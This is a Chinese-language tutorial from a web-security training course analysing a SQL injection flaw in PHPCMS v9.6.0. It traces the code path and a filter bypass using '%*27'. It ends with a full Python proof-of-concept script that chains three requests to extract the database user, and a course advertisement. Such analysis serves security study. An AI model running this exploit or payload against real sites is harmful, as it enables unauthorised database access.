PHPCMS v9.6.0 wap模組SQL注入 | FreeBuf × 破殼學院訓練營
一、漏洞詳情
phpcms v9.6.0 sys_auth 在解密引數後未進行適當校驗造成 sql injection。
看下漏洞的關鍵點,漏洞最終觸發 SQL 注入的點是位於 phpcms/modules/content/down.php 的 init 函式中:
在這個函式中,我們可以看到通過 GET 傳參 a_k 引數的值,然後呼叫 sys_auth 方法並傳參 DECODE 進行了和 auth_key 欄位進行解密,其中 auth_key 是通過 load_config 讀取 system 配置,對應的是位於 caches\configs\system.php 檔案中。接著進一步在 17 行呼叫了 parse_str 對$a_k 變數進行處理,這裡的處理也是一個關鍵的處理,這裡的操作目的是將把查詢字串解析到變數中並同時解碼。我們可以通過以下演示可以看到:
可以看到執行完 parse_str 後,新增了兩個變數 name 和 age,然後%27 和%20 被進行了解碼操作。
然後我們繼續回到上面的程式碼,可以繼續看到 26 行的$rs =$this->db->get_one(array(‘id’=>$id));操作,這裡的 get_one 操作就是做的 SQL 查詢操作,而這裡直接把$id 的值帶入查詢,並且在 17 行到 26 行之間並沒有看到任何對$id 引數的過濾處理。
那麼結合$a_k 變數和 parse_str 操作,假如我們這裡的$a_k 變數的值在解密後是類似以下的程式碼,就可以實現 SQL 注入:
id=SQL 注入語句&其他引數=其他值
$a_k 變數是通過 GET 傳參的,但剛才我們講到中間是存在一個解密操作,所以要求傳入的$a_k 變數的值是加密後的結果,也就是我們的 payload 必須先做加密操作;這裡大家可能會有個疑問,既然這樣那麼就直接看下程式碼是怎麼加密的,直接本地加密個 payload 提交不就能觸發 SQL 注入了嗎?這裡大家需要注意一個問題就是,解密的時候是有個 auth_key 的,對應加密也需要,而每個站點這個 auth_key 可能都是不一樣的,所以本地加密生成 payload 就不現實了,那麼我們就需要找到一個可以傳參加密並且我們可以看到加密後的值的點。可以通過全域性搜尋 sys_auth 方法,看哪裡是傳參 ENCODE,那麼就是做加密處理。
正好在 phpcms\libs\classes\param.class.php 檔案的 86 行 set_cookie 方法,可以看到 93 行和 96 行在呼叫 setcookie 的時候均呼叫了 sys_auth 做 ENCODE 操作,這個沒有傳參 auth_key,不過預設情況下就是系統配置裡的 auth_key,所以對應上了上面的解密操作,而且值是放到 cookie 裡,所以也是可以直接獲取到的。
接下來就要找哪裡呼叫了 set_cookie 方法並且能夠傳入 payload 而不被過濾,正好在 phpcms/modules/attachment/attachments.php 239 行的 swfupload_json 方法就符合我們的要求:
在這個函式裡,通過 GET 傳參 src 的引數,首先會經過 safe_replace 方法的過濾處理,然後寫入到陣列 arr 中,進而做 json_encode 的操作,最終再呼叫 set_cookie 方法。
那麼如果要保證傳入的 payload 不被處理,這裡關鍵的點就要看下 safe_replace 方法,對應函式在 phpcms/libs/functions/global.func.php 檔案中的 63 行:
這裡可以看到函式裡對%27、%2527 等情況進行了替換刪除操作,但是可以看到 67 行同時對*也進行替換刪除,而且是位於%27 等之後的,並且只進行一次替換處理,那麼假如我們傳參%*27,就可以繞過前面%27 的替換刪除,然後後面*的替換刪除後,%*27 就會恢復為%27,就可以完成 payload 的傳入而不被過濾。
這裡還有個點需要解決的,就是執行我們剛才說的觸發 set_cookie 的 swfupload_json 函式的有一定的條件,在該函式所在的類中的開頭,我們可以看到以下程式碼:
這個函式會在 attachements 這個 swfupload_json 所在的類建立時被呼叫,相當於做類的初始化工作,這裡要求要求說$this→userid 不為空,否則跳轉到登入介面,那麼 swfupload_json 就無法被呼叫。觀察 17 行可以看到這個值是通過 cookie 中的_userid 欄位或者表單中的 userid_flash 欄位做 sys_auth 解密結果,這裡沒有做有效性的判斷,所以我們只要通過 POST 傳入一個 userid_flash 的值可以被 sys_auth 解密即可,通過 phpcms/modules/wap/index.php 可以得到這個一個值:
可以看到其中通過 set_cookie 方法設定了一個 siteid 的值,而我們起先講到,set_cookie 方法是會呼叫 sys_auth 加密方法的,所以訪問該首頁,cookie 中 siteid 的值就可以作為我們要 POST 的 userid_flash 欄位的值。
最終就完成了整個漏洞的一個利用過程,以下為漏洞的復現過程:
a. 訪問: http://127.0.0.1/phpcmssql/index.php?m=wap&a=index&siteid=1
並獲取到 set-cookie
構造 POST 資料,利用 Step1 返回的 cookie 值,賦值給 userid_flash 變數:userid_flash=060feBFRVczhDEDS-o0oys6TlGG97WM8prCWCaH_
然後以 POST 方式訪問以下連結:
將 Step2 獲取到的 cookie 值賦值給 a_k 引數,訪問以下連結:
二、漏洞復現:
利用網上存有的 poc 直接進行攻擊:
整個過程可能稍微有點複雜,大家可以結合我們提供 PoC 來理解整個利用過程。
/* PoC 裡的三步操作說明
1、step1,就是為了解決我們最後說的問題,通過該頁面 cookie 獲取一個可以用來 POST 的 userid_flash 欄位的值,通過讀取 cookie 中的_siteid 結尾的 cookie 欄位的值 2、step2, 呼叫 swfupload_json 方法獲取加密的 payload 字串 3、step3,通過 a_k 引數傳入加密後 pyaload 完成注入
漏洞 POC
#!/usr/bin/env python # -*- coding: utf-8 -*- import re import sys import requests from urllib import quote TIMEOUT = 3 def poc(url): payload = "&id=%*27 and updat*exml(1,con*cat(1,(us*er())),1)%23&modelid=1&catid=1&m=1&f=" cookies = {} step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url) for c in requests.get(step1, timeout=TIMEOUT).cookies: if c.name[-7:] == '_siteid': cookie_head = c.name[:6] cookies[cookie_head + '_userid'] = c.value cookies[c.name] = c.value print c.value break else: return False step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload)) for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies: if c.name[-9:] == '_att_json': enc_payload = c.value print enc_payload break else: return False setp3 = url + '/index.php?m=content&c=down&a_k=' + enc_payload r = requests.get(setp3, cookies=cookies, timeout=TIMEOUT) print r.content print poc(sys.argv[1])
擴充套件閱讀:
parse_str 說明: http://www.w3school.com.cn/php/func_string_parse_str.asp
__construct() 說明: http://www.php.net/manual/zh/language.oop5.decon.php
以上是來自破殼學院助教導師簡單的思路分享,如果你也希望能夠系統化的入門一次 WEB 安全,並找到自己的學習歸屬,與 Pockr 安全學院老師切磋技術,和學員研究漏洞,報讀《WEB 安全入門急速訓練營》,這是一次與我們認識的機會,破殼在安全路上堅持了 5 年,你只需要堅持 60 天,就可與我們一同成長!
課程報名: 《WEB 安全入門急速訓練營》